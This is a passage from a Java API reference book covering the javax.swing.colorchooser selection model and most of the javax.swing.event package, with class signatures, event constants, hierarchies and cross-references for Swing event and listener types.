This interface defines the methods that must be implemented by an object that wants to keep track of a selected color for a JColorChooser. The interface is a simple one, consisting only of a pair of property accessor methods for the selected color and a pair of event registration methods for listeners that are interested in knowing when the selection changes. DefaultColorSelectionModel provides a simple implementation of this interface.

public abstract interface ColorSelectionModel {
// | Event Registration Methods (by event name)
 | public abstract void addChangeListener (javax.swing.event.ChangeListener listener);
 | public abstract void removeChangeListener (javax.swing.event.ChangeListener listener);
// | Public Instance Methods
 | public abstract java.awt.Color getSelectedColor ();
 | public abstract void setSelectedColor (java.awt.Color color);
}

Implementations: DefaultColorSelectionModel

Passed To: JColorChooser.{JColorChooser(), setSelectionModel()}

Returned By: JColorChooser.getSelectionModel(), AbstractColorChooserPanel.getColorSelectionModel()

DefaultColorSelectionModel | Java 1.2
javax.swing.colorchooser | serializable model

This class is a simple default implementation of the ColorSelectionModel interface.

public class DefaultColorSelectionModel implements ColorSelectionModel, Serializable {
// | Public Constructors
 | public DefaultColorSelectionModel (); |
 | public DefaultColorSelectionModel (java.awt.Color color); |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); | Implements:ColorSelectionModel
 | public void removeChangeListener (javax.swing.event.ChangeListener l); | Implements:ColorSelectionModel
// | Methods Implementing ColorSelectionModel
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public java.awt.Color getSelectedColor (); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
 | public void setSelectedColor (java.awt.Color color); |
// | Protected Instance Methods
 | protected void fireStateChanged (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->DefaultColorSelectionModel(ColorSelectionModel,Serializable)

Previous | Home | Next
24.1. The javax.swing.border Package | Book Index | 26. The javax.swing.event Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.event Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 26. The javax.swing.event Package

The javax.swing.event package augments the java.awt.event package and defines event objects, listeners, and adapters that are specific to Swing components. Classes with names ending in "Event" define event types; their fields and methods provide details about the event that occurred. Interfaces with names ending in "Listener" are event listeners. The methods of these interfaces are invoked to notify interested objects when specific events occur. Classes with names ending in "Adapter" are convenient no-op implementations of listener interfaces. Typically, it is easier to subclass an adapter class than implement the corresponding listener interface from scratch. Figure 26-1 shows the event classes of this package, while Figure 26-2 shows the event listeners.

Figure 26-1. The events of the javax.swing.event package

Figure 26-2. The event listeners of the javax.swing.event package

AncestorEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated by a JComponent when it is moved, becomes visible, or becomes invisible. Often, the event is generated when one of the component's ancestors is moved, becomes visible, or becomes invisible. The inherited getID() method returns the type of the event, which is one of the constants defined by the class. ANCESTOR_ADDED is used when the component becomes visible, and ANCESTOR_REMOVED is used when the component becomes invisible. getAncestor() returns the ancestor component that was modified, and, as a convenience, getAncestorParent() returns the parent of that ancestor. getComponent() is a synonym for the inherited getSource() method, except that it casts its return value to a JComponent.

public class AncestorEvent extends java.awt.AWTEvent {
// | Public Constructors
 | public AncestorEvent (JComponent source, int id, Container ancestor, Container ancestorParent); |
// | Public Constants
 | public static final int ANCESTOR_ADDED ; | =1
 | public static final int ANCESTOR_MOVED ; | =3
 | public static final int ANCESTOR_REMOVED ; | =2
// | Public Instance Methods
 | public Container getAncestor (); |
 | public Container getAncestorParent (); |
 | public JComponent getComponent (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->java.awt.AWTEvent-->AncestorEvent

Passed To: AncestorListener.{ancestorAdded(), ancestorMoved(), ancestorRemoved()}

AncestorListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that must be implemented by an object that wants to receive notification when a JComponent is moved (with ancestorMoved()), made visible (ancestorAdded()),or made invisible (ancestorRemoved()).

public abstract interface AncestorListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void ancestorAdded (AncestorEvent event);
 | public abstract void ancestorMoved (AncestorEvent event);
 | public abstract void ancestorRemoved (AncestorEvent event);
}

Hierarchy: (AncestorListener(java.util.EventListener))

Passed To: JComponent.{addAncestorListener(), removeAncestorListener()}

CaretEvent | Java 1.2
javax.swing.event | serializable event

This event is generated by JTextComponent and its subclasses JTextField, JTextArea, JTextPane, and JEditorPane when the caret position changes. The text caret maintains both the current insertion position (the dot) and a marker position (the mark). A CaretEvent is generated when either position changes. The changed values can be obtained with getDot() and getMark(), respectively. The text component that contains the caret can be queried with the inherited getSource() method.

public abstract class CaretEvent extends java.util.EventObject {
// | Public Constructors
 | public CaretEvent (Object source);
// | Public Instance Methods
 | public abstract int getDot ();
 | public abstract int getMark ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->CaretEvent

Passed To: CaretListener.caretUpdate(), javax.swing.text.JTextComponent.fireCaretUpdate(), javax.swing.text.JTextComponent.AccessibleJTextComponent.caretUpdate()

CaretListener | Java 1.2
javax.swing.event | event listener

This interface defines a method that an object must implement if it wants to receive notification when the caret position changes in a JTextComponent or one of its subclasses.

public abstract interface CaretListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void caretUpdate (CaretEvent e);
}

Hierarchy: (CaretListener(java.util.EventListener))

Implementations: javax.swing.text.JTextComponent.AccessibleJTextComponent

Passed To: javax.swing.text.JTextComponent.{addCaretListener(), removeCaretListener()}

CellEditorListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that must be implemented by an object that wants to receive notification of state changes in a javax.swing.CellEditor. Note that these methods are passed a ChangeEvent; there is no special CellEditorEvent type.

public abstract interface CellEditorListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void editingCanceled (ChangeEvent e);
 | public abstract void editingStopped (ChangeEvent e);
}

Hierarchy: (CellEditorListener(java.util.EventListener))

Implementations: JTable, JTable.AccessibleJTable

Passed To: CellEditor.{addCellEditorListener(), removeCellEditorListener()}, DefaultCellEditor.{addCellEditorListener(), removeCellEditorListener()}, javax.swing.tree.DefaultTreeCellEditor.{addCellEditorListener(), removeCellEditorListener()}

ChangeEvent | Java 1.2
javax.swing.event | serializable event

This class is a generic event type that is generated by many Swing components to indicate that something has changed within the component. ChangeEvent does not contain any fields to indicate the type of the change; the type of state change should be implicit in the event listener to which the ChangeEvent object is passed. The only state maintained by ChangeEvent is the component that generated the event (returned by the inherited getSource() method). Because ChangeEvent is immutable and effectively stateless, Swing components can reuse a single shared ChangeEvent object for all their state changes, instead of allocating an event object for every change.

public class ChangeEvent extends java.util.EventObject {
// | Public Constructors
 | public ChangeEvent (Object source);
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->ChangeEvent

Passed To: Too many methods to list.

Type Of: AbstractButton.changeEvent, DefaultBoundedRangeModel.changeEvent, DefaultButtonModel.changeEvent, DefaultCellEditor.changeEvent, DefaultSingleSelectionModel.changeEvent, JProgressBar.changeEvent, JSlider.changeEvent, JTabbedPane.changeEvent, MenuSelectionManager.changeEvent, javax.swing.colorchooser.DefaultColorSelectionModel.changeEvent, javax.swing.table.DefaultTableColumnModel.changeEvent, javax.swing.text.DefaultCaret.changeEvent, javax.swing.text.StyleContext.NamedStyle.changeEvent

ChangeListener | Java 1.2
javax.swing.event | event listener

This interface defines the method that an object must implement to receive notifications of state change events in Swing components.

public abstract interface ChangeListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void stateChanged (ChangeEvent e);
}

Hierarchy: (ChangeListener(java.util.EventListener))

Implementations: AbstractButton.ButtonChangeListener, JMenuItem.AccessibleJMenuItem, JScrollPane.AccessibleJScrollPane, JTabbedPane.AccessibleJTabbedPane, JTabbedPane.ModelListener

Passed To: Too many methods to list.

Returned By: AbstractButton.createChangeListener(), JProgressBar.createChangeListener(), JSlider.createChangeListener(), JTabbedPane.createChangeListener()

Type Of: AbstractButton.changeListener, JProgressBar.changeListener, JSlider.changeListener, JTabbedPane.changeListener

DocumentEvent Java 1.2
javax.swing.event

Events of this type are generated by a javax.swing.text.Document object when the document it represents changes. getDocument() returns the Document that was modified. getType() returns the type of the changes; its return value is one of the three constants defined by the DocumentEvent.EventType inner class. getOffset() returns the document coordinate of the start of the change, and getLength() returns the length of the change. getChange() returns a DocumentEvent.ElementChange object that describes the change in terms of its effect on the specified javax.swing.text.Element of the document.

public abstract interface DocumentEvent {
// | Inner Classes
 | ;
 | ;
// | Property Accessor Methods (by property name)
 | public abstract javax.swing.text.Document getDocument ();
 | public abstract int getLength ();
 | public abstract int getOffset ();
 | public abstract DocumentEvent.EventType getType ();
// | Public Instance Methods
 | public abstract DocumentEvent.ElementChange getChange (javax.swing.text.Element elem);
}

Implementations: javax.swing.text.AbstractDocument.DefaultDocumentEvent

Passed To: Too many methods to list.

DocumentEvent.ElementChange Java 1.2
javax.swing.event

This interface defines methods that provide information about changes to an javax.swing.text.Element object within a javax.swing.text.Document.

public abstract static interface DocumentEvent.ElementChange {
// | Property Accessor Methods (by property name)
 | public abstract javax.swing.text.Element[ ] getChildrenAdded ();
 | public abstract javax.swing.text.Element[ ] getChildrenRemoved ();
 | public abstract javax.swing.text.Element getElement ();
 | public abstract int getIndex ();
}

Implementations: javax.swing.text.AbstractDocument.ElementEdit

Returned By: DocumentEvent.getChange(), javax.swing.text.AbstractDocument.DefaultDocumentEvent.getChange()

DocumentEvent.EventType Java 1.2
javax.swing.event

This class defines three type-safe object constants that are used to specify the type of a DocumentEvent.

public static final class DocumentEvent.EventType {
// | No Constructor
// | Public Constants
 | public static final DocumentEvent.EventType CHANGE ;
 | public static final DocumentEvent.EventType INSERT ;
 | public static final DocumentEvent.EventType REMOVE ;
// | Public Methods Overriding Object
 | public String toString ();
}

Passed To: javax.swing.text.AbstractDocument.DefaultDocumentEvent.DefaultDocumentEvent()

Returned By: DocumentEvent.getType(), javax.swing.text.AbstractDocument.DefaultDocumentEvent.getType()

Type Of: DocumentEvent.EventType.{CHANGE, INSERT, REMOVE}

DocumentListener | Java 1.2
javax.swing.event | event listener

This interface defines the method that an object must implement in order to register for notifications of changes to a javax.swing.text.Document object.

public abstract interface DocumentListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void changedUpdate (DocumentEvent e);
 | public abstract void insertUpdate (DocumentEvent e);
 | public abstract void removeUpdate (DocumentEvent e);
}

Hierarchy: (DocumentListener(java.util.EventListener))

Implementations: javax.swing.text.JTextComponent.AccessibleJTextComponent

Passed To: javax.swing.text.AbstractDocument.{addDocumentListener(), removeDocumentListener()}, javax.swing.text.DefaultStyledDocument.{addDocumentListener(), removeDocumentListener()}, javax.swing.text.Document.{addDocumentListener(), removeDocumentListener()}

EventListenerList | Java 1.2
javax.swing.event | serializable

This utility class is used by many Swing classes to maintain lists of event listeners. An EventListenerList maintains a list of event listener objects, possibly of several different types. In order to allow the type of each listener to be determined efficiently, EventListenerList also maintains the java.lang.Class object for each EventListener.

The add() and remove() methods add and remove an event listener and its Class object to and from the list. When a component needs to send an event to all registered listeners of a given type, it calls getListenerList(). This method returns an array of objects, where the elements of this array are grouped in pairs. Each even-numbered element is a Class object that specifies the type of the event listener stored in the following odd-numbered element. Thus, you can quickly loop through the list of event listeners, comparing Class objects to find any registered listeners of the desired type. Objects that make use of EventListenerList must be careful not to modify the contents of the array returned by getListenerList().

public class EventListenerList implements Serializable {
// | Public Constructors
 | public EventListenerList (); |
// | Property Accessor Methods (by property name)
 | public int getListenerCount (); | default:0
 | public int getListenerCount (Class t); |
 | public Object[ ] getListenerList (); |
// | Public Instance Methods
 | public void add (Class t, java.util.EventListener l); | synchronized
 | public void remove (Class t, java.util.EventListener l); | synchronized
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Fields
 | protected transient Object[ ] listenerList ; |
}

Hierarchy: Object-->EventListenerList(Serializable)

Type Of: Too many fields to list.

HyperlinkEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated by JEditorPane when the user moves the mouse over, clicks on, or moves the mouse off a hypertext link. getURL() returns the URL of the hyperlink. getEventType() returns an object constant indicating what was done to the hyperlink. The inherited getSource() method returns the JEditorPane that contains the hyperlink.

public class HyperlinkEvent extends java.util.EventObject {
// | Public Constructors
 | public HyperlinkEvent (Object source, HyperlinkEvent.EventType type, java.net.URL u);
 | public HyperlinkEvent (Object source, HyperlinkEvent.EventType type, java.net.URL u, String desc);
// | Inner Classes
 | ;
// | Public Instance Methods
 | public String getDescription ();
 | public HyperlinkEvent.EventType getEventType ();
 | public java.net.URL getURL ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->HyperlinkEvent

Subclasses: javax.swing.text.html.HTMLFrameHyperlinkEvent

Passed To: JEditorPane.fireHyperlinkUpdate(), HyperlinkListener.hyperlinkUpdate()

HyperlinkEvent.EventType Java 1.2
javax.swing.event

This class defines three type-safe object constants that are used to specify the type of a HyperlinkEvent.

public static final class HyperlinkEvent.EventType {
// | No Constructor
// | Public Constants
 | public static final HyperlinkEvent.EventType ACTIVATED ;
 | public static final HyperlinkEvent.EventType ENTERED ;
 | public static final HyperlinkEvent.EventType EXITED ;
// | Public Methods Overriding Object
 | public String toString ();
}

Passed To: HyperlinkEvent.HyperlinkEvent(), javax.swing.text.html.HTMLFrameHyperlinkEvent.HTMLFrameHyperlinkEvent()

Returned By: HyperlinkEvent.getEventType()

Type Of: HyperlinkEvent.EventType.{ACTIVATED, ENTERED, EXITED}

HyperlinkListener | Java 1.2
javax.swing.event | event listener

This interface defines the method that an object must implement in order to register for notifications about hyperlink activity in a JEditorPane component.

public abstract interface HyperlinkListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void hyperlinkUpdate (HyperlinkEvent e);
}

Hierarchy: (HyperlinkListener(java.util.EventListener))

Passed To: JEditorPane.{addHyperlinkListener(), removeHyperlinkListener()}

InternalFrameAdapter | Java 1.2
javax.swing.event | event adapter

This class is an empty implementation of InternalFrameListener. It is usually easier to extend this class than it is to implement InternalFrameListener from scratch.

public abstract class InternalFrameAdapter implements InternalFrameListener {
// | Public Constructors
 | public InternalFrameAdapter (); |
// | Methods Implementing InternalFrameListener
 | public void internalFrameActivated (InternalFrameEvent e); | empty
 | public void internalFrameClosed (InternalFrameEvent e); | empty
 | public void internalFrameClosing (InternalFrameEvent e); | empty
 | public void internalFrameDeactivated (InternalFrameEvent e); | empty
 | public void internalFrameDeiconified (InternalFrameEvent e); | empty
 | public void internalFrameIconified (InternalFrameEvent e); | empty
 | public void internalFrameOpened (InternalFrameEvent e); | empty
}

Hierarchy: Object-->InternalFrameAdapter(InternalFrameListener(java.util.EventListener))

InternalFrameEvent | Java 1.2
javax.swing.event | serializable event

Events of this type are generated when a JInternalFrame component changes state. An InternalFrameEvent is very similar to the java.awt.event.WindowEvent generated when a native window (such as a JFrame or JDialog) changes state. The inherited getSource() method returns the JInternalFrame object that generated the event. The inherited getID() method returns the type of the event; this return value is one of the constants defined by this class. The meanings of these constants are mostly straightforward. Note the distinction between INTERNAL_FRAME_CLOSING and INTERNAL_FRAME_CLOSED, however. The first type of event is generated when the user requests that the JInternalFrame be closed. The program may respond by hiding or destroying the window (it is poor style to ignore this type of event). The second type of event is generated only after the internal frame is actually hidden or destroyed.

public class InternalFrameEvent extends java.awt.AWTEvent {
// | Public Constructors
 | public InternalFrameEvent (JInternalFrame source, int id); |
// | Public Constants
 | public static final int INTERNAL_FRAME_ACTIVATED ; | =25554
 | public static final int INTERNAL_FRAME_CLOSED ; | =25551
 | public static final int INTERNAL_FRAME_CLOSING ; | =25550
 | public static final int INTERNAL_FRAME_DEACTIVATED ; | =25555
 | public static final int INTERNAL_FRAME_DEICONIFIED ; | =25553
 | public static final int INTERNAL_FRAME_FIRST ; | =25549
 | public static final int INTERNAL_FRAME_ICONIFIED ; | =25552
 | public static final int INTERNAL_FRAME_LAST ; | =25555
 | public static final int INTERNAL_FRAME_OPENED ; | =25549
// | Public Methods Overriding AWTEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->java.awt.AWTEvent-->InternalFrameEvent

Passed To: InternalFrameAdapter.{internalFrameActivated(), internalFrameClosed(), internalFrameClosing(), internalFrameDeactivated(), internalFrameDeiconified(), internalFrameIconified(), internalFrameOpened()}, InternalFrameListener.{internalFrameActivated(), internalFrameClosed(), internalFrameClosing(), internalFrameDeactivated(), internalFrameDeiconified(), internalFrameIconified(), internalFrameOpened()}

InternalFrameListener | Java 1.2
javax.swing.event | event listener

This class defines the methods that an object must implement to receive notifications about state changes in a JInternalFrame. See InternalFrameEvent for a discussion of the difference between internalFrameClosed() and internalFrameClosing(). It is usually easier to subclass InternalFrameAdapter than to implement this interface from scratch.

public abstract interface InternalFrameListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void internalFrameActivated (InternalFrameEvent e);
 | public abstract void internalFrameClosed (InternalFrameEvent e);
 | public abstract void internalFrameClosing (InternalFrameEvent e);
 | public abstract void internalFrameDeactivated (InternalFrameEvent e);
 | public abstract void internalFrameDeiconified (InternalFrameEvent e);
 | public abstract void internalFrameIconified (InternalFrameEvent e);
 | public abstract void internalFrameOpened (InternalFrameEvent e);
}

Hierarchy: (InternalFrameListener(java.util.EventListener))

Implementations: InternalFrameAdapter

Passed To: JInternalFrame.{addInternalFrameListener(), removeInternalFrameListener()}

ListDataEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated by a javax.swing.ListModel when the contents of the model changes. getType() returns one of the three constants defined by the class, to indicate the type of change that occurred. The inherited getSource() method returns the ListModel object that changed. getIndex0() and getIndex1() return the end points of the modified interval.

public class ListDataEvent extends java.util.EventObject {
// | Public Constructors
 | public ListDataEvent (Object source, int type, int index0, int index1); |
// | Public Constants
 | public static final int CONTENTS_CHANGED ; | =0
 | public static final int INTERVAL_ADDED ; | =1
 | public static final int INTERVAL_REMOVED ; | =2
// | Public Instance Methods
 | public int getIndex0 (); |
 | public int getIndex1 (); |
 | public int getType (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->ListDataEvent

Passed To: JComboBox.{contentsChanged(), intervalAdded(), intervalRemoved()}, JList.AccessibleJList.{contentsChanged(), intervalAdded(), intervalRemoved()}, ListDataListener.{contentsChanged(), intervalAdded(), intervalRemoved()}

ListDataListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that must be implemented by an object to receive notifications of changes to the contents of a javax.swing.ListModel.

public abstract interface ListDataListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void contentsChanged (ListDataEvent e);
 | public abstract void intervalAdded (ListDataEvent e);
 | public abstract void intervalRemoved (ListDataEvent e);
}

Hierarchy: (ListDataListener(java.util.EventListener))

Implementations: JComboBox, JList.AccessibleJList

Passed To: AbstractListModel.{addListDataListener(), removeListDataListener()}, ListModel.{addListDataListener(), removeListDataListener()}

ListSelectionEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated by a JList component or its underlying ListSelectionModel object to indicate a change in the current list selection. getFirstIndex() and getLastIndex() return the first and last elements in the list that may have had their selection state changed. The ListSelectionEvent does not contain the new selection state; you must query the JList or ListSelectionModel for that information. (Use the inherited getSource() method to obtain the source of the event). getValueIsAdjusting() returns true if the event is one in a series of rapid-fire events, such as those that are generated when the user drags the mouse through a JList. Some programs may choose to ignore these rapid-fire events and wait for an event for which getValueIsAdjusting() returns false.

public class ListSelectionEvent extends java.util.EventObject {
// | Public Constructors
 | public ListSelectionEvent (Object source, int firstIndex, int lastIndex, boolean isAdjusting);
// | Public Instance Methods
 | public int getFirstIndex ();
 | public int getLastIndex ();
 | public boolean getValueIsAdjusting ();
// | Public Methods Overriding EventObject
 | public String toString ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->ListSelectionEvent

Passed To: JList.AccessibleJList.valueChanged(), JTable.{columnSelectionChanged(), valueChanged()}, JTable.AccessibleJTable.{columnSelectionChanged(), valueChanged()}, ListSelectionListener.valueChanged(), TableColumnModelListener.columnSelectionChanged(), javax.swing.table.DefaultTableColumnModel.{fireColumnSelectionChanged(), valueChanged()}, javax.swing.table.JTableHeader.columnSelectionChanged()

ListSelectionListener | Java 1.2
javax.swing.event | event listener

This interface defines the method that an object must implement in order to receive notifications of changes in the selection state of a JList or ListSelectionModel.

public abstract interface ListSelectionListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void valueChanged (ListSelectionEvent e);
}

Hierarchy: (ListSelectionListener(java.util.EventListener))

Implementations: JList.AccessibleJList, JTable, JTable.AccessibleJTable, javax.swing.table.DefaultTableColumnModel

Passed To: DefaultListSelectionModel.{addListSelectionListener(), removeListSelectionListener()}, JList.{addListSelectionListener(), removeListSelectionListener()}, ListSelectionModel.{addListSelectionListener(), removeListSelectionListener()}

MenuDragMouseEvent | Java 1.2
javax.swing.event | serializable event

JMenuItem sends events of this type to registered MenuDragMouseListener objects to signal that the mouse has entered or exited the menu item, that it is moving over the menu item, or that the user has released the mouse button over the menu item.

public class MenuDragMouseEvent extends java.awt.event.MouseEvent {
// | Public Constructors
 | public MenuDragMouseEvent (Component source, int id, long when, int modifiers, int x, int y, int clickCount, boolean popupTrigger, MenuElement[ ] p, MenuSelectionManager m);
// | Public Instance Methods
 | public MenuSelectionManager getMenuSelectionManager ();
 | public MenuElement[ ] getPath ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->java.awt.AWTEvent-->java.awt.event.ComponentEvent-->java.awt.event.InputEvent-->java.awt.event.MouseEvent-->MenuDragMouseEvent

Passed To: JMenuItem.{fireMenuDragMouseDragged(), fireMenuDragMouseEntered(), fireMenuDragMouseExited(), fireMenuDragMouseReleased(), processMenuDragMouseEvent()}, MenuDragMouseListener.{menuDragMouseDragged(), menuDragMouseEntered(), menuDragMouseExited(), menuDragMouseReleased()}

MenuDragMouseListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that JMenuItem invokes on registered objects when the user drags the mouse into, over, or out of the menu item or releases the mouse button over the item.

public abstract interface MenuDragMouseListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void menuDragMouseDragged (MenuDragMouseEvent e);
 | public abstract void menuDragMouseEntered (MenuDragMouseEvent e);
 | public abstract void menuDragMouseExited (MenuDragMouseEvent e);
 | public abstract void menuDragMouseReleased (MenuDragMouseEvent e);
}

Hierarchy: (MenuDragMouseListener(java.util.EventListener))

Passed To: JMenuItem.{addMenuDragMouseListener(), removeMenuDragMouseListener()}

MenuEvent | Java 1.2
javax.swing.event | serializable event

Events of this type are generated by a JMenu component to indicate that the menu button has been selected or deselected. (When the menu attached to that button actually pops up or down, the JPopupMenu component generates a PopupMenuEvent.) The inherited getSource() method returns the JMenu object that generated the event. The type of the MenuEvent depends on which MenuListener method it is passed to.

public class MenuEvent extends java.util.EventObject {
// | Public Constructors
 | public MenuEvent (Object source);
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->MenuEvent

Passed To: MenuListener.{menuCanceled(), menuDeselected(), menuSelected()}

MenuKeyEvent | Java 1.2
javax.swing.event | serializable event

JMenuItem sends events of this type to registered MenuKeyListener objects when the user types a key over the menu item.

public class MenuKeyEvent extends java.awt.event.KeyEvent {
// | Public Constructors
 | public MenuKeyEvent (Component source, int id, long when, int modifiers, int keyCode, char keyChar, MenuElement[ ] p, MenuSelectionManager m);
// | Public Instance Methods
 | public MenuSelectionManager getMenuSelectionManager ();
 | public MenuElement[ ] getPath ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->java.awt.AWTEvent-->java.awt.event.ComponentEvent-->java.awt.event.InputEvent-->java.awt.event.KeyEvent-->MenuKeyEvent

Passed To: JMenuItem.{fireMenuKeyPressed(), fireMenuKeyReleased(), fireMenuKeyTyped(), processMenuKeyEvent()}, MenuKeyListener.{menuKeyPressed(), menuKeyReleased(), menuKeyTyped()}

MenuKeyListener | Java 1.2
javax.swing.event | event listener

This interface defines the method that a JMenuItem invokes on registered listeners when the user types a key in the menu item.

public abstract interface MenuKeyListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void menuKeyPressed (MenuKeyEvent e);
 | public abstract void menuKeyReleased (MenuKeyEvent e);
 | public abstract void menuKeyTyped (MenuKeyEvent e);
}

Hierarchy: (MenuKeyListener(java.util.EventListener))

Passed To: JMenuItem.{addMenuKeyListener(), removeMenuKeyListener()}

MenuListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that an object must implement in order to be notified when a JMenu button is selected or deselected or when a menu selection is canceled.

public abstract interface MenuListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void menuCanceled (MenuEvent e);
 | public abstract void menuDeselected (MenuEvent e);
 | public abstract void menuSelected (MenuEvent e);
}

Hierarchy: (MenuListener(java.util.EventListener))

Passed To: JMenu.{addMenuListener(), removeMenuListener()}

MouseInputAdapter | Java 1.2
javax.swing.event | event adapter

This class is an empty implementation of MouseInputListener. It often is easier to subclass this class, overriding only the methods you are interested in, than it is to implement all the methods of java.awt.event.MouseMotionListener from scratch.

public abstract class MouseInputAdapter implements MouseInputListener {
// | Public Constructors
 | public MouseInputAdapter (); |
// | Methods Implementing MouseListener
 | public void mouseClicked (java.awt.event.MouseEvent e); | empty
 | public void mouseEntered (java.awt.event.MouseEvent e); | empty
 | public void mouseExited (java.awt.event.MouseEvent e); | empty
 | public void mousePressed (java.awt.event.MouseEvent e); | empty
 | public void mouseReleased (java.awt.event.MouseEvent e); | empty
// | Methods Implementing MouseMotionListener
 | public void mouseDragged (java.awt.event.MouseEvent e); | empty
 | public void mouseMoved (java.awt.event.MouseEvent e); | empty
}

Hierarchy: Object-->MouseInputAdapter(MouseInputListener(java.awt.event.MouseListener(java.util.EventListener),java.awt.event.MouseMotionListener(java.util.EventListener)))

MouseInputListener | Java 1.2
javax.swing.event | event listener

MouseInputListener combines into a single interface the methods of the closely related MouseListener and MouseMotionListener interfaces of the java.awt.event package. This interface is a simple utility that makes it easier to implement both MouseEvent listener interfaces at once.

public abstract interface MouseInputListener extends java.awt.event.MouseListener, java.awt.event.MouseMotionListener {
}

Hierarchy: (MouseInputListener(java.awt.event.MouseListener(java.util.EventListener),java.awt.event.MouseMotionListener(java.util.EventListener)))

Implementations: MouseInputAdapter

PopupMenuEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated just before a JPopupMenu is popped up or popped down or when a JPopupMenu is canceled (i.e., when it is popped down without the user making a selection). The inherited getSource() method returns the JPopupMenu, but PopupMenuEvent contains no other state. The type of the event is determined by the PopupMenuListener method to which it is passed.

public class PopupMenuEvent extends java.util.EventObject {
// | Public Constructors
 | public PopupMenuEvent (Object source);
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->PopupMenuEvent

Passed To: PopupMenuListener.{popupMenuCanceled(), popupMenuWillBecomeInvisible(), popupMenuWillBecomeVisible()}

PopupMenuListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that an object must implement to receive notifications that a JPopupMenu is about to pop up or pop down or that a JPopupMenu was canceled without a user selection.

public abstract interface PopupMenuListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void popupMenuCanceled (PopupMenuEvent e);
 | public abstract void popupMenuWillBecomeInvisible (PopupMenuEvent e);
 | public abstract void popupMenuWillBecomeVisible (PopupMenuEvent e);
}

Hierarchy: (PopupMenuListener(java.util.EventListener))

Passed To: JPopupMenu.{addPopupMenuListener(), removePopupMenuListener()}

SwingPropertyChangeSupport | Java 1.2
javax.swing.event | serializable

This utility class is useful when you are defining a Swing component that has bound properties and must fire java.beans.PropertyChangeEvent events when the value of various properties change. This class is a subclass of java.beans.PropertyChangeSupport and provides the same features as that class. This Swing-specific version is somewhat more memory efficient than the JavaBeans version and does not use synchronized methods.

public final class SwingPropertyChangeSupport extends java.beans.PropertyChangeSupport {
// | Public Constructors
 | public SwingPropertyChangeSupport (Object sourceBean); |
// | Event Registration Methods (by event name)
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | Overrides:PropertyChangeSupport synchronized
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | Overrides:PropertyChangeSupport synchronized
// | Public Methods Overriding PropertyChangeSupport
 | public void addPropertyChangeListener (String propertyName, java.beans.PropertyChangeListener listener); | synchronized
 | public void firePropertyChange (java.beans.PropertyChangeEvent evt); |
 | public void firePropertyChange (String propertyName, Object oldValue, Object newValue); |
 | public boolean hasListeners (String propertyName); | synchronized
 | public void removePropertyChangeListener (String propertyName, java.beans.PropertyChangeListener listener); | synchronized
}

Hierarchy: Object-->java.beans.PropertyChangeSupport(Serializable)-->SwingPropertyChangeSupport

Type Of: AbstractAction.changeSupport, javax.swing.tree.DefaultTreeSelectionModel.changeSupport

TableColumnModelEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated when a column is added, deleted, or moved from a javax.swing.table.TableColumnModel. The inherited getSource() method returns the TableColumnModel object that was changed. When a column is added, getToIndex() specifies the index of the column. When a column is removed, getFromIndex() specifies the index that it used to occupy. When a column is moved, getFromIndex() returns the column's old position and getToIndex() returns the column's new position.

public class TableColumnModelEvent extends java.util.EventObject {
// | Public Constructors
 | public TableColumnModelEvent (javax.swing.table.TableColumnModel source, int from, int to);
// | Public Instance Methods
 | public int getFromIndex ();
 | public int getToIndex ();
// | Protected Instance Fields
 | protected int fromIndex ;
 | protected int toIndex ;
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->TableColumnModelEvent

Passed To: JTable.{columnAdded(), columnMoved(), columnRemoved()}, JTable.AccessibleJTable.{columnAdded(), columnMoved(), columnRemoved()}, TableColumnModelListener.{columnAdded(), columnMoved(), columnRemoved()}, javax.swing.table.DefaultTableColumnModel.{fireColumnAdded(), fireColumnMoved(), fireColumnRemoved()}, javax.swing.table.JTableHeader.{columnAdded(), columnMoved(), columnRemoved()}

TableColumnModelListener | Java 1.2
javax.swing.event | event listener

